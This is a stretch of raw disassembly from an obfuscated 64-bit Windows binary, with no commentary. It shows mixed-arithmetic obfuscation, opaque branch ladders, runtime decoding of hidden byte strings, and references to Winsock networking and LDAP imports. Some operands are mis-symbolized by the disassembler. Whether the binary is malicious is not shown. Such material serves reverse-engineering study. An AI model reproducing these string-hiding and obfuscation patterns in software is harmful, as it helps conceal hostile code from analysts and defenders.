jmp 0x1401f15b6
movabs rcx, 0x171f61edea79554c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edx, [r8 + rcx]
sub dl, 0x14
mov qword [rbp - 0x68], rdx
add rbx, r10
mov r14, rdx
movzx eax, r14b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f15b6
movabs rcx, 0x6365a65828acba2c
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea r14d, [rcx + rdx]
sub r14b, 0x34
mov qword [rbp - 0x68], r14
movzx eax, byte [rbp + r9 + 0xa50]
add rax, r10
add r9, rax
add r9, r15
jmp 0x1401f0a98
movabs rdx, 0x8befce99b5e992f4
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_46
sub cl, al
lea r14d, [rcx + rcx]
add r14b, dl
add r14b, r8b
mov qword [rbp - 0x68], r14
jmp 0x1401f0a93
movabs rcx, 0x9f015fb445766c2c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r14d, [r8 + rcx]
sub r14b, 0x34
mov qword [rbp - 0x68], r14
jmp 0x1401f0a83
lea rdx, [rbp + 0x16f1180]
jmp 0x1401f162a
lea rdx, [rbp + 0x68a4e4]
jmp 0x1401f162a
lea rdx, [rbp + 0xa50]
xorps xmm0, xmm0
movups xmmword [rbp + 0x2e0], xmm0
xor eax, eax
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rax
or r8, 0xffffffffffffffff
inc r8
cmp word [rdx + r8*2], ax
jne 0x1401f1648
lea rcx, [rbp + 0x2e0]
call fcn.1400886d0
lea rax, [rbp + 0x2e0]
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1530]
call fcn.14026a60a
lea rdx, [rbp + 0x2e0]
cmp qword [rbp + 0x2f8], 7
cmova rdx, qword [rbp + 0x2e0]
mov dword [rsp + 0x20], r15d
mov r14d, 0x40
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1530]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1530]
call fcn.140266950
nop
lea rcx, [rbp + 0x1530]
call fcn.1400a3400
nop
lea rcx, [rbp + 0x2e0]
call fcn.1400aacb0
mov byte [rbp + 0x800], 0xcb
mov byte [rbp + 0x801], Ordinal_143
mov byte [rbp + 0x802], 0xac
mov byte [rbp + 0x803], 0xf3
mov byte [rbp + 0x804], Ordinal_79
mov byte [rbp + 0x805], 0xf1
mov byte [rbp + 0x806], WSAStartup
mov byte [rbp + 0x807], 0xf7
mov byte [rbp + 0x808], 0x55
mov byte [rbp + 0x809], 0xf5
mov byte [rbp + 0x80a], 0xa2
mov byte [rbp + 0x80b], 0xfb
mov byte [rbp + 0x80c], 0x66
mov byte [rbp + 0x80d], 0xf9
mov byte [rbp + 0x80e], 0x55
mov byte [rbp + 0x80f], 0xff
mov byte [rbp + 0x810], 0x59
mov byte [rbp + 0x811], 0xfd
mov byte [rbp + 0x812], WSAStartup
mov byte [rbp + 0x813], 0xe3
mov byte [rbp + 0x814], 0x47
mov byte [rbp + 0x815], 0xe1
mov byte [rbp + 0x816], Ordinal_79
mov byte [rbp + 0x817], 0xe7
mov byte [rbp + 0x818], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x819], 0xe5
mov byte [rbp + 0x81a], 0x42
mov byte [rbp + 0x81b], 0xeb
mov byte [rbp + 0x81c], reloc.WLDAP32.dll_Ordinal_79
mov byte [rbp + 0x81d], 0xe9
mov byte [rbp + 0x81e], r14b
mov byte [rbp + 0x81f], 0xef
mov byte [rbp + 0x820], 0xb8
mov byte [rbp + 0x821], 0xed
mov byte [rbp + 0x822], 0x87
mov byte [rbp + 0x823], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x824], 0x44
mov byte [rbp + 0x825], Ordinal_211
mov byte [rbp + 0x826], r14b
mov byte [rbp + 0x827], Ordinal_217
mov byte [rbp + 0x828], 0x81
mov byte [rbp + 0x829], Ordinal_217
mov byte [rbp + 0x82a], 0x7e
mov byte [rbp + 0x82b], 0xdb
mov byte [rbp + 0x82c], 0x7c
mov byte [rbp + 0x82d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp + 0x82e], WSAStartup
mov byte [rbp + 0x82f], 0xdf
mov byte [rbp + 0x830], Ordinal_143
mov byte [rbp + 0x831], 0xdd
mov byte [rbp + 0x832], 0x64
mov byte [rbp + 0x833], Ordinal_200
mov byte [rbp + 0x834], WSAGetLastError
mov byte [rbp + 0x835], 0xc1
mov byte [rbp + 0x836], 0x54
mov byte [rbp + 0x837], Ordinal_200
mov byte [rbp + 0x838], Ordinal_200
mov byte [rbp + 0x839], Ordinal_200
xor eax, eax
mov dword [rbp + 0x83a], eax
mov word [rbp + 0x83e], ax
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, r14
jae 0x1401f24c3
movzx r8d, byte [rbp + r9 + 0x800]
mov r11, r8
cmp rbx, r9
ja 0x1401f24ba
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401f18e0
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov rax, rcx
and rax, r8
imul r13, rax, 0xfffffffffffffffe
add r13, rcx
add r13, r8
sub r13b, 0x32
jmp 0x1401f1b8f
je 0x1401f241b
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f23c0
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f2369
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401f233e
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401f22f2
cmp r10, r9
ja 0x1401f24b1
lea rax, [r10 + 4]
cmp rbx, rax
jae 0x1401f194f
movabs rcx, 0xe621106c29a91096
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x1a
jmp 0x1401f1b63
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401f22d2
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f22af
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401f227e
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f226a
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401f1e99
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401f1e76
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x1401f1e62
lea rax, [r10 + 0x2a]
cmp rbx, rax
je 0x1401f1e3f
lea rax, [r10 + 9]
cmp rbx, rax
je 0x1401f1e2b
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401f1e08
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401f1de5
lea rax, [r10 + 0x41]
cmp rbx, rax
je 0x1401f1dbd
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401f1d9a
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401f1d86
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401f1990
lea rbx, [r10 + 0x200]
lea r10, [rbx + 0x28]
lea rax, [r10 + 0x80]
cmp rbx, rax
jb 0x1401f2485
lea rax, [r10 + 0x5a]
cmp rbx, rax
jb 0x1401f2459
lea rax, [r10 + 8]
cmp rbx, rax
jb 0x1401f1b98
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401f1b6c
lea rax, [r10 + 0x42]
cmp rbx, rax
jb 0x1401f1b45
lea rax, [r10 + 0x7a]
cmp rbx, rax
jb 0x1401f1d5e
lea rax, [r10 + 5]
cmp rbx, rax
jb 0x1401f1d4a
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1401f1d27
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x1401f1cf3
lea rax, [r10 + 0x1000]
cmp rbx, rax
jb 0x1401f1990
lea rbx, [r10 + 0x64]
lea r10, [rbx + 0x400]
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x1401f1ccb
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401f1ca8
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401f1c85
lea rax, [r10 + 0x40]
cmp rbx, rax
ja 0x1401f1c5d
lea rax, [r10 + 0x61]
cmp rbx, rax
ja 0x1401f1c3b
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401f1c19
lea rax, [r10 + 3]
cmp rbx, rax
ja 0x1401f1bf6
lea rax, [r10 + 0x20]
cmp rbx, rax
ja 0x1401f1bd3
lea rax, [r10 + 0x400]
cmp rbx, rax
ja 0x1401f1bbf
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1401f1990
lea rbx, [r10 + 0x7a]
lea r10, [rbx + 1]
jmp 0x1401f1990
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x26
mov qword [rbp - 0x58], r13
jmp 0x1401f1983
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_33
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x1401f191a
movabs rcx, 0x108b6992c2ac8f32
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x5e
mov qword [rbp - 0x58], r13
jmp 0x1401f18a5
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_26
jmp 0x1401f2301
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x6c
jmp 0x1401f2339
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 8
jmp 0x1401f2361
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
jmp 0x1401f220a
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, r14b
jmp 0x1401f223b
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401f229c
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x78
jmp 0x1401f238a
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x14
jmp 0x1401f23e6
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401f243e
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
mov byte [rbp + r9 + 0x800], r13b
jmp 0x1401f2451
movabs rcx, 0x9682c6ba1376f89e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x52
jmp 0x1401f1f41
movabs rdx, 0xe21e1a7f034e7d22
mov ecx, 9
jmp 0x1401f1ef2
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_60
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401f1ec4
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
jmp 0x1401f1cda
movabs rcx, 0xb061b64de9cde808
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x38
jmp 0x1401f23e6
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401f238a
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x70
jmp 0x1401f229c
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0xc
jmp 0x1401f223b
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x1401f1c28
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x44
jmp 0x1401f2361
movabs rdx, 0x7605aceb88db0320
mov ecx, reloc.WS2_32.dll_recv
jmp 0x1401f203b
movabs rcx, 0xc1a100b078b287a4
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7c
jmp 0x1401f2315
lea rax, [r10 + 8]
cmp rbx, rax
jae 0x1401f1f7b
movabs rcx, 0xda32561d88143dbe
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x32
mov qword [rbp - 0x58], r13
lea rax, [r10 + rbx]
cmp rax, 6
je 0x1401f2240
lea rax, [r10 + 0x10]
cmp rbx, rax
jbe 0x1401f2054
movabs rdx, 0xfdfe85096cd2b646
mov ecx, ntohl
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
cmp rbx, r14
jae 0x1401f21e7
lea rax, [r10 + 0x200]
cmp rbx, rax
jbe 0x1401f2125
movabs rcx, 0xe41f9575967bc6dc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 4
mov qword [rbp - 0x58], r13
cmp r10, 0x1000
jb 0x1401f1d1a
movabs rcx, 0xf00e4fc4381099b4
add rcx, r9
mov al, cl
and al, r8b
mov edx, 0xa
sub dl, al
add dl, dl
add dl, cl
add dl, r8b
lea r13d, [rdx + rdx]
jmp 0x1401f2315
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f1fa7
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x34
jmp 0x1401f243e
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f1fc2
movabs rdx, 0x350b794e73a31824
mov ecx, r12d
jmp 0x1401f1dcc
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f1ff3
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401f223b
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401f201f
movabs rcx, 0x52397dffa41c8a98
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x28
jmp 0x1401f2210
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401f1ec8
movabs rdx, 0xbb02d675c46d8190
mov ecx, 8
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
jmp 0x1401f2339
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f2080
movabs rcx, 0xb26331447cfb31c2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x4e
jmp 0x1401f2315
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f20ac
movabs rcx, 0xcf9135f5ad74a436
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7a
jmp 0x1401f2210
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x1401f20c9
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x1401f1fda
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401f20f5
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x42
jmp 0x1401f229c
lea rax, [r10 + 6]
cmp rbx, rax
jne 0x1401f1f0a
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x6e
jmp 0x1401f243e
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x1401f2151
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x68
jmp 0x1401f243e
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x1401f217d
movabs rcx, 0x14d9a26c6f53950
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x30
jmp 0x1401f238a
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x1401f219a
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x1401f1fda
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x1401f21b7
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x1401f234d
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x1401f1f45
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x24
jmp 0x1401f2339
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov r13b, byte [rbp + r9 + 0x800]
sub r13b, al
sub r13b, 0x50
add r13b, dl
add r13b, r8b
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
add cl, r13b
mov byte [rbp + r9 + 0x800], cl
add rbx, r10
jmp 0x1401f229c
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea r13d, [rcx + rcx]
sub r13b, byte [rbp + r9 + 0x800]
jmp 0x1401f1dda
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1401f1dcc
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x72
movzx eax, r13b
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f244d
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x46
jmp 0x1401f2361
movabs rcx, 0x9a85bca739d18c12
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea r13d, [r8 + rcx]
sub r13b, 0x7e
jmp 0x1401f2315
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x800], cl
add r10, r15
jmp 0x1401f2361
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
sub r9, r15
jmp 0x1401f244d
mov r8, r11
movabs rcx, 0xf7605aceb88db032
add rcx, r9
mov al, cl
and al, r11b
add al, al
sub cl, al
lea r13d, [r11 + rcx]
sub r13b, 0x5e
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x800], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x1401f23e6
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x800], r8b
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x1401f243e
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, r11b
add r13b, dl
movzx eax, byte [rbp + r9 + 0x800]
add rax, r10
add r9, rax
mov qword [rbp - 0x58], r13
add r9, r15
jmp 0x1401f1893
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 3
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x1401f188e
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, dl
and al, r8b
mov ecx, gethostname
sub cl, al
lea r13d, [rcx + rcx]
add r13b, dl
add r13b, r8b
mov qword [rbp - 0x58], r13
jmp 0x1401f187e
lea rdx, [rbp + 0x15983a8]
jmp 0x1401f24ca
lea rdx, [rbp + 0x16dc166]
jmp 0x1401f24ca
lea rdx, [rbp + 0x800]
lea rcx, [rbp + 0x300]
call fcn.14009ef00
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1640]
call fcn.14026a60a
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1401f24ff
mov rdx, qword [rbx]
mov dword [rsp + 0x20], r15d
mov r9d, r14d
mov r8d, r12d
lea rcx, [rbp + 0x1640]
call fcn.14018c840
nop
lea rcx, [rbp + 0x1640]
call fcn.140266950
nop
lea rcx, [rbp + 0x1640]
call fcn.1400a3400
nop
mov rcx, rbx
call fcn.1400aacb0
mov byte [rbp + 0xcd0], 0xe3
mov byte [rbp + 0xcd1], 0xad
mov byte [rbp + 0xcd2], 0xec
mov byte [rbp + 0xcd3], 0xab
mov byte [rbp + ntohld4], 0xc
mov byte [rbp + 0xcd5], 0xa9
mov byte [rbp + 0xcd6], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xcd7], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xcd8], 0x3d
mov byte [rbp + 0xcd9], __WSAFDIsSet
xor eax, eax
mov byte [rbp + 0xcda], al
mov byte [rbp + 0xcdb], __WSAFDIsSet
mov byte [rbp + 0xcdc], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xcdd], __WSAFDIsSet
mov byte [rbp + 0xcde], reloc.WS2_32.dll_listen
mov byte [rbp + 0xcdf], 0x9f
mov byte [rbp + 0xce0], 7
mov byte [rbp + 0xce1], 0x9d
mov byte [rbp + 0xce2], 5
mov byte [rbp + 0xce3], 0x9b
mov byte [rbp + 0xce4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xce5], 0x99
mov byte [rbp + 0xce6], Ordinal_46
mov byte [rbp + 0xce7], 0x87
mov byte [rbp + 0xce8], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xce9], 0x85
mov byte [rbp + 0xcea], Ordinal_217
mov byte [rbp + 0xceb], 0x83
mov byte [rbp + 0xcec], 0x3d
mov byte [rbp + 0xced], 0x81
mov byte [rbp + 0xcee], Ordinal_50
mov byte [rbp + 0xcef], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xcf0], Ordinal_46
mov byte [rbp + 0xcf1], Ordinal_143
mov byte [rbp + 0xcf2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xcf3], Ordinal_143
mov byte [rbp + 0xcf4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xcf5], Ordinal_143
mov byte [rbp + 0xcf6], 0x64
mov byte [rbp + 0xcf7], 0xf7
mov byte [rbp + 0xcf8], 0x5c
mov byte [rbp + 0xcf9], 0xf5
mov byte [rbp + 0xcfa], 0x62
mov byte [rbp + 0xcfb], 0xf3
mov byte [rbp + 0xcfc], 0xaa
mov byte [rbp + 0xcfd], 0xf1
mov byte [rbp + 0xcfe], 0xa2
mov byte [rbp + 0xcff], 0xff
mov byte [rbp + 0xd00], 0xae
mov byte [rbp + 0xd01], 0xfd
mov byte [rbp + 0xd02], 0x57
mov byte [rbp + 0xd03], 0xfb
mov byte [rbp + 0xd04], 0x60
mov byte [rbp + 0xd05], 0xf9
mov byte [rbp + 0xd06], Ordinal_79
mov byte [rbp + 0xd07], 0xe7
mov byte [rbp + 0xd08], 0xb6
mov byte [rbp + 0xd09], 0xe5
mov byte [rbp + 0xd0a], 0x77
mov byte [rbp + 0xd0b], 0xe3
mov byte [rbp + 0xd0c], 0x7d
mov byte [rbp + 0xd0d], 0xe1
mov byte [rbp + 0xd0e], 0x47
mov byte [rbp + 0xd0f], 0xef
mov byte [rbp + 0xd10], 0xec
mov byte [rbp + 0xd11], 0xed
xorps xmm0, xmm0
movups xmmword [rbp + 0xd12], xmm0
mov qword [rbp + 0xd22], rax
mov byte [rbp + 0xd2a], al
call fcn.1402682a8
mov rbx, qword [rax]
call fcn.1402682b0
mov r10, qword [rax]
xor eax, eax
mov r9d, eax
cmp r9, 0x5b
jae 0x1401f3368
movzx r8d, byte [rbp + r9 + 0xcd0]
mov r11, r8
cmp rbx, r9
ja 0x1401f335f
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x1401f2782
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r8
add dil, 0x4a
jmp 0x1401f2a02
je 0x1401f32ca
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f3234
lea rax, [r10 + 4]
cmp rbx, rax
je 0x1401f31f4
lea rax, [r10 + 6]
cmp rbx, rax
je 0x1401f31a9
lea rax, [r10 + 2]
cmp rbx, rax
je 0x1401f3178
cmp r10, r9
ja 0x1401f3356
lea rax, [r10 + 0x7a]
cmp rbx, rax
jae 0x1401f27e2
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x1401f29c9
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401f3134
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f3114
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401f30ed
lea rax, [r10 + 7]
cmp rbx, rax
je 0x1401f30ca
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x1401f2dab
lea rax, [r10 + 0x64]
cmp rbx, rax
je 0x1401f2d88
lea rax, [r10 + 0x40]
cmp rbx, rax
je 0x1401f2d60
lea rax, [r10 + 0x20]
cmp rbx, rax
je 0x1401f2d3c
lea rax, [r10 + 0xa]
cmp rbx, rax
je 0x1401f2d19
lea rax, [r10 + 8]
cmp rbx, rax
je 0x1401f2cf1
lea rax, [r10 + 5]
cmp rbx, rax
je 0x1401f2cce
lea rax, [r10 + 3]
cmp rbx, rax
je 0x1401f2cba
lea rax, [r10 + 1]
cmp rbx, rax
je 0x1401f2c94
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x1401f2c6d
lea rax, [r10 + 0x7a]
cmp rbx, rax
je 0x1401f2823
lea rbx, [r10 + 0x61]
lea r10, [rbx + 0x1000]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x1401f332f
lea rax, [r10 + 0x200]
cmp rbx, rax
jb 0x1401f3304
lea rax, [r10 + 6]
cmp rbx, rax
jb 0x1401f2a0b
lea rax, [r10 + 4]
cmp rbx, rax
jb 0x1401f29e1
lea rax, [r10 + 2]
cmp rbx, rax
jb 0x1401f29ba
lea rax, [r10 + 0x2a]
cmp rbx, rax
jb 0x1401f2c0e
lea rax, [r10 + 0x41]
cmp rbx, rax
jb 0x1401f2baf
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x1401f2b5f
lea rbx, [r10 + 0x80]
lea r10, [rbx + 0x64]
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x1401f2b3c
lea rax, [r10 + 0x28]
cmp rbx, rax
ja 0x1401f2b19
lea rax, [r10 + 0x10]
cmp rbx, rax
ja 0x1401f2af1
lea rax, [r10 + 9]
cmp rbx, rax
ja 0x1401f2ace
lea rax, [r10 + 6]
cmp rbx, rax
ja 0x1401f2aba
lea rax, [r10 + 4]
cmp rbx, rax
ja 0x1401f2a94
lea rax, [r10 + 2]
cmp rbx, rax
ja 0x1401f2a80
lea rax, [r10 + 0x2a]
cmp rbx, rax
ja 0x1401f2a5c
